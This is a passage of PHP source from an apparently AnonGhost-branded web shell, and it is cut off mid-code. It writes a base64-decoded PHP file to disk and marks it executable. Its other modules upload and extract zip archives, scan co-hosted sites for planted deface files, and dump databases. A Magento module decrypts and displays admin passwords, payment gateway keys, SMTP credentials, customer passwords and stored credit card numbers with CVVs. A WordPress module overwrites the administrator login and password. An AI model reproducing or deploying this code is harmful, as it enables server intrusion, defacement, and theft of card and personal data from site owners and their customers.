rcDZCaDJWaklTODhiMEd2YVg2RXJrcVRiblNkTlo3MWZCbjhvSjZiK25uVm1oMitUbkRvT3Z5VjBvVGxGakVweGpjeFNIbjBCZTV6clBYYzJ4VnFaeUptbWJvczdyemhKM1BBQXM3aEFNV3hqUHgxbjYrOGVHR3orNzlqMGdzNzNHTk4wd1l2eXhlUDd6elI0RExoZGlVWEgrR3ZIdnRFenRaamFHeGpRMmZiWWsvM3l1TFBlci9tSEkzemxHM0NWcHA0RHUxZFBXdjVRaCtnVDNJYitpbURrMHpPQ1B1ZWNaaHp2b2dmdGR2Y3JGakQ0ZFp0eGJxTFBzMVl2WHFMaW8xb2sySWN1T2MxUDdtbnA0ZFRIYVhYRU5mZjhCTTVsZEVlR2EwdWpiY01EZUs1VWJMR0p4OFR1SlFQMXBGUDNrOSsyTkVkOUlvVjdzbm12WHEvZW1UcFFlS2wrZ3BtNXA2dVdSTk1Xa0o4Yzl6SFRNZThrWWdoK1o2WTZhcSs4TzhDUjJSNlh2Yzkxa3pLSy9mTjlMdytuMm9wK0pJdDFpbnVKNHo1MThDcmN0SDk0MjNxditrZm5JOFZyZWhlSnZGT1FRZFcrb1pHakR6YjhheWt4MTQ2Z1Y0enVVZDd3N0hnbzFsUFB2RXROU2U1Tm1kaW05anJRYTR3dDJuR2liVVRQSjdSMi9rOWNIN3RDV2JjMjRvYm5JZjFmdldENXBLeVQxeTV3eEhIcURQVkd0RGFkcUZHb1Z1Y0MrS05OL2tLVnlsbnFIM3VxVFA5bGJqTjJxQ08ydUIrUWJuMDRCend2bVp1TDdoZ3YxODl2czVnSGYwQVEvUktoZG1FNS9YVmM1TTM4YkxmUG5wRHp5dzFYMXZJdTJYVTkyTCtvL2N6UnNXbHpsWFBUSi9ZbEVjTnlkVGVET2F2WEhiZWJlUHN5aFBWeDlBZHIvMTl6VHM4UnpVbld0OEx2OHZBanZ1NG1jdXRWeFB6R05jRnpaL2VzWmI3TTJzRDkzakNVNXA4N3RuQlJpMVlwalVPTUduZk02dFNMc01udVl6YTJxaXY3VGJXVW0zeGpCMytTdlNDSFN2R3QzTFNuT3k1K1JMUE5XcFpvK1pjczlzM3ZuZk5lZDZ2UHN2OXNtekJUdFczZkwvNkhISEdjK1NwY3lxaGVaUFhZWFpUWFovMlVYTUxHbEIxQlI5NnRtWU43WG1CZWtUeTdlcE5qcUVaRTlydDZnSFExTVVjNXQ4RjNJOU8vWFVoUjhYcFc3enYzOGIwWGI2UE9ZRjFqN1hvRjkvQlBaa2FtS3l6MnYzU0xOWmYvbzFBblBBZUhPczVkUUlYMWpiS2pjTHpjRU5HNzFrRFZUQ2IyVk8rMkZpTFBHOXdjVVVudUtiS2R0ZmRJM0k5bTV2TmNlVjdIYjFtVXZ1b0xjS01aL0NUYnl2OHJqMWN5OEJkOXV5UU91YVppalY1UXU4MjZvVnFBck1jNndmalJEVTMzYS9lM3JPa2hqNnhqcmw0Rm0xaGprM01ZcXpSRTNVdVc1UFRnelJzU3A0MVBzTFh4bXdsL3dvOFZwbUhXYnVyOWxMdlBTTXZVMjVmR29HK1Z0eEd6bFUwcHVvNGVaM3E5SzUxaCtkZEMveHk0L3RiNUdIaGIzUGN3R0NkT1pubnBZM1J6aFhkVStEckN4LzAzZWEwNXI0ajM2OFpyWGlLWHNaem1qYk4rUHpiMHpVN1FIZExEemZ3Ymh4TlBGZTRyM3A5M0s5Wmt1dG5JV2JGdUtIUHNXNHdCMWY0TGpGL0VLNHluREg1N3VwajBid0pyazM4cnVxZXVYcTJ2NU52MUgvWnYzQSsrTGlsb1hldXM3NnBpK3VvUGJtTXViQndpdjJxMi9sKzlWcUsxWGEvZnE4czF0Q1ZYRGlvMi80OTB6VVRqQ1ZycVVSOHJBZnF5Qy90NzMxZHU4aU4vc3hLYjFJbjNXK2NHNnVlaTdVNURwNHJ3V1BwSzM0ei8vWTcrdjRYcnFrZDgvK3AwS2ZuMStQbkg2Ly9IUC8reDIveFh6bCsvOEZ2Sy8wZkduYjBmM1QxOGM4Ly9ncz0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
$file = fopen("hps.php" ,"w+"); $write = fwrite ($file ,base64_decode($hps)); fclose($file); chmod("hps.php",0755);
echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Auto Delete Log</span><br><div class=content><iframe src=hps.php width=70% height=60% frameborder=0></iframe>"; }

//////////////////////  BACKUP ZIP  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'backup')) {
echo "<center><h1>Zip Menu</h1>";
function rmdir_recursive($dir) {
    foreach(scandir($dir) as $file) {
       if ('.' === $file || '..' === $file) continue;
       if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
       else unlink("$dir/$file");
   }
   rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
	$filename = $_FILES["zip_file"]["name"];
	$source = $_FILES["zip_file"]["tmp_name"];
	$type = $_FILES["zip_file"]["type"];
	$name = explode(".", $filename);
	$accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
	foreach($accepted_types as $mime_type) {
		if($mime_type == $type) {
			$okay = true;
			break;
		}
	}
	$continue = strtolower($name[1]) == 'zip' ? true : false;
	if(!$continue) {
		$message = "Its Not Zip";
	}
  $path = dirname(__FILE__).'/';
  $filenoext = basename ($filename, '.zip');
  $filenoext = basename ($filenoext, '.ZIP');
  $targetdir = $path . $filenoext;
  $targetzip = $path . $filename;
  if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  mkdir($targetdir, 0777);
	if(move_uploaded_file($source, $targetzip)) {
		$zip = new ZipArchive();
		$x = $zip->open($targetzip);
		if ($x === true) {
			$zip->extractTo($targetdir);
			$zip->close();

			unlink($targetzip);
		}
		$message = "<b>Sukses</b>";
	} else {
		$message = "<b>Error</b>";
	}
}
echo '<table style="width:100%" border="1">
  <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>';
if($message) echo "<p>$message</p>";
echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
	if($_POST['backup']){
	$save=$_POST['save'];
	function Zip($source, $destination)
{
    if (extension_loaded('zip') === true)
    {
        if (file_exists($source) === true)
        {
            $zip = new ZipArchive();

            if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
            {
                $source = realpath($source);

                if (is_dir($source) === true)
                {
                    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);

                    foreach ($files as $file)
                    {
                        $file = realpath($file);

                        if (is_dir($file) === true)
                        {
                            $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                        }

                        else if (is_file($file) === true)
                        {
                            $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                        }
                    }
                }

                else if (is_file($source) === true)
                {
                    $zip->addFromString(basename($source), file_get_contents($source));
                }
            }

            return $zip->close();
        }
    }

    return false;
}
	Zip($_POST['dir'],$save);
	echo "Done , Save To <b>$save</b>";
	}
	echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
	if($_POST['extrak']){
	$save=$_POST['save'];
	$zip = new ZipArchive;
	$res = $zip->open($_POST['dir']);
	if ($res === TRUE) {
		$zip->extractTo($save);
		$zip->close();
	echo 'Succes , Location : <b>'.$save.'</b>';
	} else {
	echo 'Failed Mass';
	}
	}
echo '</tr></table>';
	}
//////////////////////  REVERSE IP  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'ip')) {
?>
<br>
<center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><div id='menu'>[ Reverse IP Lookup ] </a></center>
<br>
<?php
}
//////////////////////  FAKE ROOT  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'fake')) {
ob_start();
	function reverse($url) {
		$ch = curl_init("http://domains.yougetsignal.com/domains.php");
			  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
			  curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
			  curl_setopt($ch, CURLOPT_HEADER, 0);
			  curl_setopt($ch, CURLOPT_POST, 1);
		$resp = curl_exec($ch);
		$resp = str_replace("[","", str_replace("]","", str_replace("""","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
		$array = explode(",,", $resp);
		unset($array[0]);
		foreach($array as $lnk) {
			$lnk = "http://$lnk";
			$lnk = str_replace(",", "", $lnk);
			echo $lnk."n";
			ob_flush();
			flush();
		}
			  curl_close($ch);
	}
	function cek($url) {
		$ch = curl_init($url);
			  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
			  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		$resp = curl_exec($ch);
		return $resp;
	}
	$cwd = getcwd();
	$ambil_user = explode("/", $cwd);
	$user = $ambil_user[2];
	if($_POST['reverse']) {
		$site = explode("rn", $_POST['url']);
		$file = $_POST['file'];
		foreach($site as $url) {
			$cek = cek("$url/~$user/$file");
			if(preg_match("/hacked/i", $cek)) {
				echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=#ff0066>Fake Root!</font><br>";
			}
		}
	} else {
		echo "<center><form method='post'>
		Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
		User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
		Domain: <br>
		<textarea style='width: 450px; height: 250px;' name='url'>";
		reverse($_SERVER['HTTP_HOST']);
		echo "</textarea><br>
		<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
		</form><br>
		NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
	}
}
//////////////////////  DB DUMP  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'dump')) {
echo $head.'<p align="center">';
echo '
<form action method=post>
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
	<td>Server </td>
	<td><input class="inputz" type=text name=server size=52></td></tr><tr>
	<td>Username</td>
	<td><input class="inputz" type=text name=username size=52></td></tr><tr>
	<td>Password</td>
	<td><input class="inputz" type=text name=password size=52></td></tr><tr>
	<td>DataBase Name</td>
	<td><input class="inputz" type=text name=dbname size=52></td></tr>
	<tr>
	<td>DB Type </td>
	<td><form method=post action="'.$me.'">
	<select class="inputz" name=method>
		<option  value="gzip">Gzip</option>
		<option value="sql">Sql</option>
		</select>
	<input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
	</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
    $i = $i['Tables_in_'.$dbname];
    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
    write($create['Create Table'].";nn");
    $sql = mysql_query ("SELECT * FROM ".$i);
    if (mysql_num_rows($sql)) {
        while ($row = mysql_fetch_row($sql)) {
            foreach ($row as $j => $k) {
                $row[$j] = "'".mysql_escape_string($k)."'";
            }
            write("INSERT INTO $i VALUES(".implode(",", $row).");n");
        }
    }
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush();
}
fclose($fp);
}

}
//////////////////////  MAGENTO  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'magento')) {
    echo'
<div id="page-wrap">
<center>
<br>
<FORM action=""  method="post">
<div align="center">[ M A G E N T O ] - Stealing Information<br>
<div align="center">Code By Kaizen<br>  <br> <br>
<input type="hidden" name="form_action" value="2">
</div>
</div>
';


if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
    $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
    if(isset($xml->global->resources->default_setup->connection)) {
       $connection = $xml->global->resources->default_setup->connection;
       $prefix = $xml->global->resources->db->table_prefix;
       $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
       require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';

       try {
           $app = Mage::app('default');
           Mage::getSingleton('core/session', array('name'=>'frontend'));
       }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>n";}

       if (!mysql_connect($connection->host, $connection->username, $connection->password)){
           print("Could not connect: " . mysql_error());
       }
       mysql_select_db($connection->dbname);
       echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>n";

    $crypto = new Varien_Crypt_Mcrypt();
    $crypto->init($key);

    //=========================================================================================================
    $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
    if (!$query){
          echo "<center><b>Failed</b></center>";
    }else{
            $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
          echo'<br><br>
                ====================================================================<br>
                                [ Admin FROM website : '.$site['website'].'] <br>
                ====================================================================<br>';
    }
    echo "
    <table border='1' align='center' >
    <tr>
    <td>id</td>
    <td>firstname</td>
    <td>lastname</td>
    <td>email</td>
    <td>username</td>
    <td>password</td>
    </tr>";
        while($vx = mysql_fetch_array($query)) {
        $no = 1;
        $user_id = $vx['user_id'];
        $username = $vx['username'];
        $password = $vx['password'];
        $email = $vx['email'];
        $firstname = $vx['firstname'];
        $lastname = $vx['lastname'];
        echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
        }
    echo "</table><br>";
    //=========================================================================================================
    $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where  path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
    if(mysql_num_rows($query) != 0){
        if (!$query){
              echo "<center><b>Failed</b></center>";
        }else{
              echo'<br><br>
                    ====================================================================<br>
                                    [ Authorizenet ] <br>
                    ====================================================================<br>';
        }
        echo "
        <table border='1' align='center' >
        <tr>
        <td>no</td>
        <td>user</td>
        <td>pass</td>
        </tr>";
            $no = 1;
            while($vx = mysql_fetch_array($query)) {
            $user = $crypto->decrypt($vx['user']);
            $pass = $crypto->decrypt($vx['pass']);


            echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
            $no++;
            }
        echo "</table><br>";
    }
    //=========================================================================================================
    $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
    if(mysql_num_rows($query_smtp) != 0){
        if (!$query_smtp){
              echo "<center><b>Failed</b></center>";
        }else{
              echo'<br><br>
                    ====================================================================<br>
                                    [ SMTP ] <br>
                    ====================================================================<br>';
        }
        echo "
        <table border='1' align='center' >
        <tr>
        <td>no</td>
        <td>host</td>
        <td>port</td>
        <td>user</td>
        <td>pass</td>
        </tr>";
            $no = 1;
            $batas = 0;
            while($rows = mysql_fetch_array($query_smtp)) {
                $smtphost = $rows[0];
                $smtpport = $rows[1];
                $smtpuser = $rows[2];
                $smtppass = $rows[3];
                echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
                $no++;
            }
        echo "</table><br>";
    }
    //=========================================================================================================
    $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
    $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
    if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
          echo'<br><br>
                ====================================================================<br>
                                [ Credit Card ] <br>
                ====================================================================<br>';
            echo "
            <table border='1' align='left' >
            <tr>
            <td>no</td>
            <td>Date</td>
            <td>Credit Owner</td>
            <td>method</td>
            <td>Credit Number</td>
            <td>Credit Exp</td>
            <td>CVV</td>
            <td>Address</td>
            </tr>";
                $no = 1;
                $batas = 0;
                while($vx = mysql_fetch_array($query)){
                $date = $vx['updated_at'];
                $cc_owner = $vx['cc_owner'];
                $method = $vx['method'];
                $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
                $exp = $vx['exp'];
                $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
                $Billing_Address = $vx['Billing Address'];
                echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
                $batas = $no++;
                }

                while($vx2 = mysql_fetch_array($query2)){
                    $batas +=1;
                $cc_owner = $vx2['cc_owner'];
                $method = $vx2['method'];
                $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
                $exp = $vx2['exp'];
                $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
                $Billing_Address = $vx2['Billing Address'];
                echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
                 $batas++;
                }

            echo "</table><br>";
    }
    //=========================================================================================================
    $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
    $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");


    if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
        if (!$query){
              echo "<center><b>Failed</b></center>";
        }else{
              echo'<br><br>
                    ====================================================================<br>
                                    [ Customer ] <br>
                    ====================================================================<br>';
        }
        echo "
        <table border='1' align='center' >
        <tr>
        <td>no</td>
        <td>user</td>
        <td>pass</td>
        </tr>";
            $no = 1;
            $batas = 0;
            while($vx = mysql_fetch_array($query)) {
                $user = $vx['email'];
                $pass = $vx['value'];
                echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
                $batas = $no++;
            }

            if(mysql_num_rows($query2) != 0 && ($query2)){
                while($vx2 = mysql_fetch_array($query2)){
                    $user = $vx2['customer_email'];
                    $pass = $crypto->decrypt($vx2['password_hash']);
                    if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampilkan
                        $batas +=1;
                        echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
                        $batas++;
                    }
                }
            }

        echo "</table><br>";
    }
    //=========================================================================================================
  }
}
function save($format,$data){
    $fp = fopen($format, 'a');
    fwrite($fp, $data);
    fclose($fp);
}
function cekbase64($string){
        $decoded = base64_decode($string, true);
        if (!preg_match('/^[a-zA-Z0-9/rn+]*={0,2}$/', $string)) return false;
        if(!base64_decode($string, true)) return false;
        if(base64_encode($decoded) != $string) return false;
        return true;//nilai return 1 jika true
    }
//----untuk decode password ---/
class Varien_Crypt_Mcrypt{
    /**
     * Constuctor
     *
     * @param array $data
     */
    public function __construct()
    {
    }

    /**
     * Initialize mcrypt module
     *
     * @param string $key cipher private key
     * @return Varien_Crypt_Mcrypt
     */
    public function init($key)
    {
        $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
        $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
        $maxKeySize = mcrypt_enc_get_key_size($this->handler);

        if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
            //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
            return null;
        }

        mcrypt_generic_init($this->handler, $key, $iv);

        return $this;
    }

    /**
     * Encrypt data
     *
     * @param string $data source string
     * @return string
     */
    public function encrypt($data)
    {
        if (!$this->handler) {
            //throw new Varien_Exception('Crypt module is not initialized.');
            return null;
        }
        if (strlen($data) == 0) {
            return $data;
        }
        return base64_encode(mcrypt_generic($this->handler, $data));
    }

    /**
     * Decrypt data
     *
     * @param string $data encrypted string
     * @return string
     */
    public function decrypt($data)
    {
        if (!$this->handler) {
            //throw new Varien_Exception('Crypt module is not initialized.');
            return null;
        }
        if (strlen($data) == 0) {
            return $data;
        }
        return mdecrypt_generic($this->handler, base64_decode($data));
    }


    /**
     * Desctruct cipher module
     *
     */
    public function __destruct()
    {
        if ($this->handler) {
            $this->_reset();
        }
    }

    protected function _reset()
    {
        mcrypt_generic_deinit($this->handler);
        mcrypt_module_close($this->handler);
    }
}
}
////////////////////// WORDPRESS  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'wordpress')) {
    if (empty($_POST['pwd'])) {
		echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Wordpress Edite Users</span><div class=content>";
        echo "<center><br><br><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host     :  <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";
    } else {
        $prefix    = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $pwd       = $_POST['pwd'];
        $admin     = $_POST['admin'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $hash = crypt($pwd);
        $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
        $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
        if ($k2) {
            echo '<br><br><center><h1>Done ... go and login</h1></center>';
        }
    }
    echo '</center>';
}
/////////////////  TEST PERMISSION  /////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'testperm'))
            {
			echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Test Permission</span><div class=content><br>";
echo '<center><table style="border:1px solid #58FAF4;">';
echo '<tr>';
if(ini_get('id') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('gunzip') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('pwd') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('ln') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('ls') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('chmod') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';
if(ini_get('uname') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;uname:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('rm') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('su') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| su:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| su:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}

if(ini_get('tail') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('Ptouch') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('who') == '1'){
